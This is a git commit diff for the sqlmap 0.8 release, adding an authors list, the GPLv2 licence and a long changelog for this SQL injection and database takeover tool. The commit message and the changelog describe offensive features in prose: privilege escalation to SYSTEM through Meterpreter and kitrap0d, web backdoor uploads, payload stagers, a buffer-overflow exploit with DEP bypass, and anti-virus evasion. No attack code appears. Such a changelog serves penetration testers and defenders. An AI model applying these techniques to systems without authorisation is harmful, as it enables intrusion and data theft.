sqlmap 0.8 stable!

1. there's kitrap0d (MS10-015) which is far more reliable, just recently fixed
2. works only to priv esc basically on MSSQL when it runs as NETWORK SERVICE and the machine is not patched against MS09-012 which is "rare" (hopefully) nowadays.
Now sqlmap relies on kitrap0d and incognito to privilege escalate the database process' user privileges to SYSTEM, both via Meterpreter.

Minor layout adjustments.

.gitignore

@@ -1,7 +0,0 @@
-.DS_Store
-.github/.DS_Store
-data/.DS_Store
-extra/.DS_Store
-lib/.DS_Store
-plugins/.DS_Store
-thirdparty/.DS_Store

CNAME

@@ -1 +0,0 @@
-sqlmap.org

README.md

@@ -1 +0,0 @@
-sqlmap.org website

doc/AUTHORS

@@ -0,0 +1,7 @@
+Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
+<[email protected]>
+PGP Key ID: 0x05F5A30F
+
+Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
+<[email protected]>
+PGP Key ID: 0xB5397B1B

doc/COPYING

@@ -0,0 +1,340 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+                       51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General
+Public License instead of this License.

doc/ChangeLog

@@ -0,0 +1,487 @@
+sqlmap (0.8-1) stable; urgency=low
+
+  * Support to enumerate and dump all databases' tables containing user
+    provided column(s) by specifying for instance '--dump -C user,pass'.
+    Useful to identify for instance tables containing custom application
+    credentials (Bernardo).
+  * Support to parse -C (column name(s)) when fetching
+    columns of a table with --columns: it will enumerate only columns like
+    the provided one(s) within the specified table (Bernardo).
+  * Support for takeover features on PostgreSQL 8.4 (Bernardo).
+  * Enhanced --priv-esc to rely on new Metasploit Meterpreter's
+    'getsystem' command to elevate privileges of the user running the
+    back-end DBMS instance to SYSTEM on Windows (Bernardo).
+  * Automatic support in --os-pwn to use the web uploader/backdoor to
+    upload and execute the Metasploit payload stager when stacked queries
+    SQL injection is not supported, for instance on MySQL/PHP and
+    MySQL/ASP, but there is a writable folder within the web server
+    document root (Bernardo and Miroslav).
+  * Fixed web backdoor functionality for --os-cmd, --os-shell and --os-pwn
+    useful when web application does not support stacked queries (Bernardo).
+  * Added support to properly read (--read-file) also binary files via
+    PostgreSQL by injecting sqlmap new sys_fileread() user-defined
+    function (Bernardo and Miroslav).
+  * Updated active fingerprint and comment injection fingerprint for
+    MySQL 5.1, MySQL 5.4 and MySQL 5.5 (Bernardo).
+  * Updated active fingerprint for PostgreSQL 8.4 (Bernardo).
+  * Support for NTLM authentication via python-ntlm third party library,
+    http://code.google.com/p/python-ntlm/, --auth-type NTLM (Bernardo).
+  * Support to automatically decode deflate, gzip and x-gzip HTTP
+    responses (Miroslav).
+  * Support for Certificate authentication, --auth-cert option added
+    (Miroslav).
+  * Added support for regular expression based scope when parsing Burp or
+    Web Scarab proxy log file (-l), --scope (Miroslav).
+  * Added option (-r) to load a single HTTP request from a text file
+    (Miroslav).
+  * Added option (--ignore-proxy) to ignore system default HTTP proxy
+    (Miroslav).
+  * Added support to ignore Set-Cookie in HTTP responses,
+    --drop-set-cookie (Miroslav).
+  * Added support to specify which Google dork result page to parse,
+    --gpage to be used together with -g (Miroslav).
+  * Major bug fix and enhancements to the multi-threading (--threads)
+    functionality (Miroslav).
+  * Fixed URL encoding/decoding of GET/POST parameters and Cookie header
+    (Miroslav).
+  * Refactored --update to use python-svn third party library if available
+    or 'svn' command to update sqlmap to the latest development version
+    from subversion repository (Bernardo and Miroslav).
+  * Major bugs fixed (Bernardo and Miroslav).
+  * Cleanup of UDF source code repository,
+    https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo
+    and Miroslav).
+  * Major code cleanup (Miroslav).
+  * Added simple file encryption/compression utility, extra/cloak/cloak.py,
+    used by sqlmap to decrypt on the fly Churrasco, UPX executable and web
+    shells consequently reducing drastically the number of anti-virus
+    softwares that mistakenly mark sqlmap as a malware (Miroslav).
+  * Updated user's manual (Bernardo and Miroslav).
+  * Created several demo videos, hosted on YouTube
+    (http://www.youtube.com/user/inquisb) and linked from
+    http://sqlmap.sourceforge.net/demo.html (Bernardo).
+
+ -- Bernardo Damele A. G. <[email protected]>  Sun, 14 Mar 2010 10:00:00 +0000
+
+sqlmap (0.8rc1-1) stable; urgency=low
+
+  * Major enhancement to the Microsoft SQL Server stored procedure
+    heap-based buffer overflow exploit (--os-bof) to automatically bypass
+    DEP memory protection.
+  * Added support for MySQL and PostgreSQL to execute Metasploit shellcode
+    via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
+    option instead of uploading the standalone payload stager executable.
+  * Added options for MySQL, PostgreSQL and Microsoft SQL Server to
+    read/add/delete Windows registry keys.
+  * Added options for MySQL and PostgreSQL to inject custom user-defined
+    functions.
+  * Added support for --first and --last so the user now has even more
+    granularity in what to enumerate in the query output.
+  * Minor enhancement to save the session by default in
+    'output/hostname/session' file if -s option is not specified.
+  * Minor improvement to automatically remove sqlmap created temporary
+    files from the DBMS underlying file system.
+  * Minor bugs fixed.
+  * Major code refactoring.
+
+ -- Bernardo Damele A. G. <[email protected]>  Mon, 21 Sep 2009 15:00:00 +0000
+
+sqlmap (0.7-1) stable; urgency=low
+
+  * Adapted Metasploit wrapping functions to work with latest 3.3
+    development version too.
+  * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
+  * Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
+    --os-bof is selected) when running under Windows because msfconsole
+    and msfcli are not supported on the native Windows Ruby interpreter.
+    This make sqlmap 0.7 to work again on Windows too.
+  * Minor improvement so that sqlmap tests also all parameters with no
+    value (eg. par=).
+  * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
+    2.6+.
+  * Major bug fix to sql-query/sql-shell features.
+  * Major bug fix in --read-file option.
+  * Major silent bug fix to multi-threading functionality.
+  * Fixed the web backdoor functionality (for MySQL) when (usually) stacked
+    queries are not supported and --os-shell is provided.
+  * Fixed MySQL 'comment injection' version fingerprint.
+  * Fixed basic Microsoft SQL Server 2000 fingerprint.
+  * Many minor bug fixes and code refactoring.
+
+ -- Bernardo Damele A. G. <[email protected]>  Sat, 25 Jul 2009 10:00:00 +0000
+
+sqlmap (0.7rc1-1) stable; urgency=low
+
+  * Added support to execute arbitrary commands on the database server
+    underlying operating system either returning the standard output or not
+    via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
+    procedure on Microsoft SQL Server;
+  * Added support for out-of-band connection between the attacker box and
+    the database server underlying operating system via stand-alone payload
+    stager created by Metasploit and supporting Meterpreter, shell and VNC
+    payloads for both Windows and Linux;
+  * Added support for out-of-band connection via Microsoft SQL Server 2000
+    and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
+    overflow (MS09-004) exploitation with multi-stage Metasploit payload
+    support;
+  * Added support for out-of-band connection via SMB reflection attack with
+    UNC path request from the database server to the attacker box by using
+    the Metasploit smb_relay exploit;
+  * Added support to read and write (upload) both text and binary files on
+    the database server underlying file system for MySQL, PostgreSQL and
+    Microsoft SQL Server;
+  * Added database process' user privilege escalation via Windows Access
+    Tokens kidnapping on MySQL and Microsoft SQL Server via either
+    Meterpreter's incognito extension or Churrasco stand-alone executable;
+  * Speed up the inference algorithm by providing the minimum required
+    charset for the query output;
+  * Major bug fix in the comparison algorithm to correctly handle also the
+    case that the url is stable and the False response changes the page
+    content very little;
+  * Many minor bug fixes, minor enhancements and layout adjustments.
+
+ -- Bernardo Damele A. G. <[email protected]>  Wed, 22 Apr 2009 10:30:00 +0000
+
+sqlmap (0.6.4-1) stable; urgency=low
+
+  * Major enhancement to make the comparison algorithm work properly also
+    on url not stables automatically by using the difflib Sequence Matcher
+    object;
+  * Major enhancement to support SQL data definition statements, SQL data
+    manipulation statements, etc from user in SQL query and SQL shell if
+    stacked queries are supported by the web application technology;
+  * Major speed increase in DBMS basic fingerprint;
+  * Minor enhancement to support an option (--is-dba) to show if the
+    current user is a database management system administrator;
+  * Minor enhancement to support an option (--union-tech) to specify the
+    technique to use to detect the number of columns used in the web
+    application SELECT statement: NULL bruteforcing (default) or ORDER BY
+    clause bruteforcing;
+  * Added internal support to forge CASE statements, used only by --is-dba
+    query at the moment;
+  * Minor layout adjustment to the --update output;
+  * Increased default timeout to 30 seconds;
+  * Major bug fix to correctly handle custom SQL "limited" queries on
+    Microsoft SQL Server and Oracle;
+  * Major bug fix to avoid tracebacks when multiple targets are specified
+    and one of them is not reachable;
+  * Minor bug fix to make the Partial UNION query SQL injection technique
+    work properly also on Oracle and Microsoft SQL Server;
+  * Minor bug fix to make the --postfix work even if --prefix is not
+    provided;
+  * Updated documentation.
+
+ -- Bernardo Damele A. G. <[email protected]>  Tue,  3 Feb 2009 23:30:00 +0000
+
+sqlmap (0.6.3-1) stable; urgency=low
+
+  * Major enhancement to get list of targets to test from Burp proxy
+    (http://portswigger.net/suite/) requests log file path or WebScarab
+    proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
+    'conversations/' folder path by providing option -l <filepath>;
+  * Major enhancement to support Partial UNION query SQL injection
+    technique too;
+  * Major enhancement to test if the web application technology supports
+    stacked queries (multiple statements) by providing option
+    --stacked-test which will be then used someday also by takeover
+    functionality;
+  * Major enhancement to test if the injectable parameter is affected by
+    a time based blind SQL injection technique by providing option
+    --time-test;
+  * Minor enhancement to fingerprint the web server operating system and
+    the web application technology by parsing some HTTP response headers;
+  * Minor enhancement to fingerprint the back-end DBMS operating system by
+    parsing the DBMS banner value when -b option is provided;
+  * Minor enhancement to be able to specify the number of seconds before
+    timeout the connection by providing option --timeout #, default is set
+    to 10 seconds and must be 3 or higher;
+  * Minor enhancement to be able to specify the number of seconds to wait
+    between each HTTP request by providing option --delay #;
+  * Minor enhancement to be able to get the injection payload --prefix and
+    --postfix from user;
+  * Minor enhancement to be able to enumerate table columns and dump table
+    entries, also when the database name is not provided, by using the
+    current database on MySQL and Microsoft SQL Server, the 'public'
+    scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
+  * Minor enhancemet to support also --regexp, --excl-str and --excl-reg
+    options rather than only --string when comparing HTTP responses page
+    content;
+  * Minor enhancement to be able to specify extra HTTP headers by providing
+    option --headers. By default Accept, Accept-Language and Accept-Charset
+    headers are set;
+  * Minor improvement to be able to provide CU (as current user) as user
+    value (-U) when enumerating users privileges or users passwords;
+  * Minor improvements to sqlmap Debian package files;
+  * Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
+    library if available to speed up the sqlmap algorithmic operations;
+  * Minor improvement to retry the HTTP request up to three times in case
+    an exception is raised during the connection to the target url;
+  * Major bug fix to correctly enumerate columns on Microsoft SQL Server;
+  * Major bug fix so that when the user provide a SELECT statement to be
+    processed with an asterisk as columns, now it also work if in the FROM
+    there is no database name specified;
+  * Minor bug fix to correctly dump table entries when the column is
+    provided;
+  * Minor bug fix to correctly handle session.error, session.timeout and
+    httplib.BadStatusLine exceptions in HTTP requests;
+  * Minor bug fix to correctly catch connection exceptions and notify to
+    the user also if they occur within a thread;
+  * Increased default output level from 0 to 1;
+  * Updated documentation.
+
+ -- Bernardo Damele A. G. <[email protected]>  Thu, 18 Dec 2008 10:00:00 +0000
+
+sqlmap (0.6.2-1) stable; urgency=low
+
+  * Major bug fix to correctly dump tables entries when --stop is not
+    specified;
+  * Major bug fix so that the users' privileges enumeration now works
+    properly also on both MySQL < 5.0 and MySQL >= 5.0;
+  * Major bug fix when the request is POST to also send the GET parameters
+    if any have been provided;
+  * Major bug fix to correctly update sqlmap to the latest stable release
+    with command line --update;
+  * Major bug fix so that when the expected value of a query (count
+    variable) is an integer and, for some reasons, its resumed value from
+    the session file is a string or a binary file, the query is executed
+    again and its new output saved to the session file;
+  * Minor bug fix in MySQL comment injection fingerprint technique;
+  * Minor improvement to correctly enumerate tables, columns and dump
+    tables entries on Oracle and on PostgreSQL when the database name is
+    not 'public' schema or a system database;
+  * Minor improvement to be able to dump entries on MySQL < 5.0 when
+    database name, table name and column(s) are provided;
+  * Updated the database management system fingerprint checks to correctly
+    identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
+  * More user-friendly warning messages.
+
+ -- Bernardo Damele A. G. <[email protected]>  Sun,  2 Nov 2008 19:00:00 +0000
+
+sqlmap (0.6.1-1) stable; urgency=low
+
+  * Major bug fix to blind SQL injection bisection algorithm to handle an
+    exception;
+  * Added a Metasploit Framework 3 auxiliary module to run sqlmap;
+  * Implemented possibility to test for and inject also on LIKE
+    statements;
+  * Implemented --start and --stop options to set the first and the last
+    table entry to dump;
+  * Added non-interactive/batch-mode (--batch) option to make it easy to
+    wrap sqlmap in Metasploit and any other tool;
+  * Minor enhancement to save also the length of query output in the
+    session file when retrieving the query output length for ETA or for
+    resume purposes;
+  * Changed the order sqlmap dump table entries from column by column to
+    row by row. Now it also dumps entries as they are stored in the tables,
+    not forcing the entries' order alphabetically anymore;
+  * Minor bug fix to correctly handle parameters' value with % character.
+
+ -- Bernardo Damele A. G. <[email protected]>  Fri, 20 Oct 2008 10:00:00 +0000
+
+sqlmap (0.6-1) stable; urgency=low
+
+  * Complete code refactor and many bugs fixed;
+  * Added multithreading support to set the maximum number of concurrent
+    HTTP requests;
+  * Implemented SQL shell (--sql-shell) functionality and fixed SQL query
+    (--sql-query, before called -e) to be able to run whatever SELECT
+    statement and get its output in both inband and blind SQL injection
+    attack;
+  * Added an option (--privileges) to retrieve DBMS users privileges, it
+    also notifies if the user is a DBMS administrator;
+  * Added support (-c) to read options from configuration file, an example
+    of valid INI file is sqlmap.conf and support (--save) to save command
+    line options on a configuration file;
+  * Created a function that updates the whole sqlmap to the latest stable
+    version available by running sqlmap with --update option;
+  * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.)
+    installation binary packages;
+  * Created sqlmap .exe (Windows) portable executable;
+  * Save a lot of more information to the session file, useful when
+    resuming injection on the same target to not loose time on identifying
+    injection, UNION fields and back-end DBMS twice or more times;
+  * Improved automatic check for parenthesis when testing and forging SQL
+    query vector;
+  * Now it checks for SQL injection on all GET/POST/Cookie parameters then
+    it lets the user select which parameter to perform the injection on in
+    case that more than one is injectable;
+  * Implemented support for HTTPS requests over HTTP(S) proxy;
+  * Added a check to handle NULL or not available queries output;
+  * More entropy (randomStr() and randomInt() functions in
+    lib/core/common.py) in inband SQL injection concatenated query and in
+    AND condition checks;
+  * Improved XML files structure;
+  * Implemented the possibility to change the HTTP Referer header;
+  * Added support to resume from session file also when running with
+    inband SQL injection attack;
+  * Added an option (--os-shell) to execute operating system commands if
+    the back-end DBMS is MySQL, the web server has the PHP engine active
+    and permits write access on a directory within the document root;
+  * Added a check to assure that the provided string to match (--string)
+    is within the page content;
+  * Fixed various queries in XML file;
+  * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted
+    the library to parse it;
+  * Fixed password fetching function, mainly for Microsoft SQL Server and
+    reviewed the password hashes parsing function;
+  * Major bug fixed to avoid tracebacks when the testable parameter(s) is
+    dynamic, but not injectable;
+  * Enhanced logging system: added three more levels of verbosity to show
+    also HTTP sent and received traffic;
+  * Enhancement to handle Set-Cookie from target url and automatically
+    re-establish the Session when it expires;
+  * Added support to inject also on Set-Cookie parameters;
+  * Implemented TAB completion and command history on both --sql-shell and
+    --os-shell;
+  * Renamed some command line options;
+  * Added a conversion library;
+  * Added code schema and reminders for future developments;
+  * Added Copyright comment and $Id$;
+  * Updated the command line layout and help messages;
+  * Updated some docstrings;
+  * Updated documentation files.
+
+ -- Bernardo Damele A. G. <[email protected]>  Mon,  1 Sep 2008 10:00:00 +0100
+
+sqlmap (0.5-1) stable; urgency=low
+
+  * Added support for Oracle database management system
+  * Extended inband SQL injection functionality (--union-use) to all
+    other possible queries since it only worked with -e and --file on
+    all DMBS plugins;
+  * Added support to extract database users password hash on Microsoft
+    SQL Server;
+  * Added a fuzzer function with the aim to parse HTML page looking
+    for standard database error messages consequently improving
+    database fingerprinting;
+  * Added support for SQL injection on HTTP Cookie and User-Agent headers;
+  * Reviewed HTTP request library (lib/request.py) to support the
+    extended inband SQL injection functionality. Splitted getValue()
+    into getInband() and getBlind();
+  * Major enhancements in common library and added checkForBrackets()
+    method to check if the bracket(s) are needed to perform a UNION query
+    SQL injection attack;
+  * Implemented --dump-all functionality to dump entire DBMS data from
+    all databases tables;
+  * Added support to exclude DBMS system databases' when enumeration
+    tables and dumping their entries (--exclude-sysdbs);
+  * Implemented in Dump.dbTableValues() method the CSV file dumped data
+    automatic saving in csv/ folder by default;
+  * Added DB2, Informix and Sybase DBMS error messages and minor
+    improvements in xml/errors.xml;
+  * Major improvement in all three DBMS plugins so now sqlmap does not
+    get entire databases' tables structure when all of database/table/
+    column are specified to be dumped;
+  * Important fixes in lib/option.py to make sqlmap properly work also
+    with python 2.5 and handle the CSV dump files creation work also
+    under Windows operating system, function __setCSVDir() and fixed
+    also in lib/dump.py;
+  * Minor enhancement in lib/injection.py to randomize the number
+    requested to test the presence of a SQL injection affected parameter
+    and implemented the possibilities to break (q) the for cycle when
+    using the google dork option (-g);
+  * Minor fix in lib/request.py to properly encode the url to request
+    in case the "fixed" part of the url has blank spaces;
+  * More minor layout enhancements in some libraries;
+  * Renamed DMBS plugins;
+  * Complete code refactoring, a lot of minor and some major fixes in
+    libraries, many minor improvements;
+  * Updated all documentation files.
+
+ -- Bernardo Damele A. G. <[email protected]>  Sun,  4 Nov 2007 20:00:00 +0100
+
+sqlmap (0.4-1) stable; urgency=low
+
+  * Added DBMS fingerprint based also upon HTML error messages parsing
+    defined in lib/parser.py which reads an XML file defining default
